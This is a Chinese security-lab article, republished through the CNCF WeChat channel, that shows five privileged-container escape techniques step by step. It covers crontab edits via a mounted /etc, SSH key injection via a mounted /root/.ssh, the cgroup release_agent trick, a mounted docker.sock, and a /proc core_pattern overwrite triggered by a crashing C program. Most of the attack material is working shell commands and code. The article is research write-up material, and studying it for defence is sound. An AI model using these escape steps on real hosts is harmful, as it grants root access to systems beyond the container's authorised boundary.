中国 KubeCon + CloudNativeCon + Open Source Summit 虚拟大会
12 月 9 日至 10 日
https://www.lfasiallc.com/kubecon-cloudnativecon-open-source-summit-china/
前言
正文
方式一:挂载/etc逃逸
因为/etc目录中包含crontab的配置文件,此文件目录为/etc/crontab。挂载了宿主机的/etc到容器内,在容器内修改crontab文件,宿主机上的crontab文件也同样会修改。话不多说,直接上图。
方式二:挂载/root逃逸
挂载了/root/.ssh目录到容器内,可以通过此方式逃逸。
生成本机的ssh私钥和公钥,命令:ssh-keygen -t rsa
把本机的公钥复制到容器内的/root/.ssh/authorized_keys里,可以实现宿主机的免密登陆。
将公钥复制至authorized_keys中
容器内直接使用私钥登陆宿主机,如图登陆成功
这两种方法简单粗暴,但是极容易被检测到,从而暴露。
方式三:挂载cgroup逃逸
首先启动一个容器
docker run --rm -it --privileged ubuntu bash
在容器里执行命令,将cgroup直接以 cgroup类型挂载到容器内,挂载选项为 rdma(远程直接内存访问)并在容器内创建一个子cgroup目录(cgroup_2),目的是为了创建release_agent文件且触发release_agent执行的cgroup。
mkdir /tmp/cgroup
mount -t cgroup -o rdma cgroup /tmp/cgroup
mkdir /tmp/cgroup/cgroup_2
激活子cgroup的notify_on_release,使得在子cgroup退出时能够执行其父cgroup中的release_agent,当将 notify_on_release被设置为1时,在子cgroup被移除时,内核将会运行顶层cgroup下的release_agent文件中指定的命令。
echo 1 > /tmp/cgroup/cgroup_2/notify_on_release
通过读取/etc/mtab获取uppdir= 后面跟随的路径(宿主机访问容器的路径),并将其并写入 release_agent(如下图所示),宿主机可通过该路径访问容器根目录,cgroup最后一个程序退出时执行/cmd的脚本。
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgroup/release_agent
接下来就是构造cmd脚本,并将结果输出到容器内output下
echo '#!/bin/sh' > /cmd
echo "ps ef > $host_path/output" >> /cmd
chmod a+x /cmd
通过子cgroup创建一个可以立即结束的进程,实施攻击,如图,成功获得主机ps结果
sh -c "echo \$\$ > /tmp/cgroup/cgroup_2/cgroup.procs"
方式四:挂载docker.sock实现逃逸
当宿主机的docker.sock被挂载到容器内时,此容器可以通过docker.sock控制宿主机创建任意配置容器和控制正在运行的容器
docker -H unix:///hack/docker.sock info #通过此命令可以查看docker信息
docker -H unix:///hack/docker.sock run -it --rm -v /:/test --name=docker_sock_taoyi2 centos /bin/bash #通过docker创建一个挂载宿主机根目录的容器
创建成功。
方式五:挂载/proc目录实现逃逸
1、与cgroup相同,通过读取/etc/mtab获取uppdir= 后面跟随的路径。
sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
2、此时容器内的 /exp.sh 对应宿主机/var/lib/docker/overlay2/5aad6c46857541101a54c64b8e92ac8495e4eecb6bbd6a76e24a0335be8d2d92/diff/exp.sh 文件。
3、挂载之后的文件,相当于共享。容器内外修改都会对应产生变化
echo -e "|/var/lib/docker/overlay2/5aad6c46857541101a54c64b8e92ac8495e4eecb6bbd6a76e24a0335be8d2d92/diff/exp.sh \rcore " > /host_proc/sys/kernel/core_pattern
4、容器内触发segmentation fault
#include <stdio.h>
int main(void){
int *a = NULL;
*a = 1;
return 0;
}
5、执行
./a.out
总结
由于篇幅有限,此次只介绍了五种常见的特权容器逃逸思路。除此之外,特权容器或是容器逃逸的方式还有很多种,后续再一 一详述。
关于鲲鹏安全实验室
鲲鹏安全实验室专注于容器安全和业务灰黑产对抗的研究,收集和挖掘容器相关技术的安全漏洞,采集业务灰黑产情报,研究对抗手段。并将研究成功转换为产品和服务。
内容编辑:鲲鹏安全实验室 阳光照亮宇宙 责任编辑:剁肉工
往期推荐
文章转载自小佑科技。点击这里阅读原文了解更多。
CNCF概况(幻灯片)
扫描二维码联系我们!
CNCF (Cloud Native Computing Foundation)成立于2015年12月,隶属于Linux Foundation,是非营利性组织。
CNCF(云原生计算基金会)致力于培育和维护一个厂商中立的开源生态系统,来推广云原生技术。我们通过将最前沿的模式民主化,让这些创新为大众所用。请长按以下二维码进行关注。
本文分享自微信公众号 - CNCF(lf_cncf)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。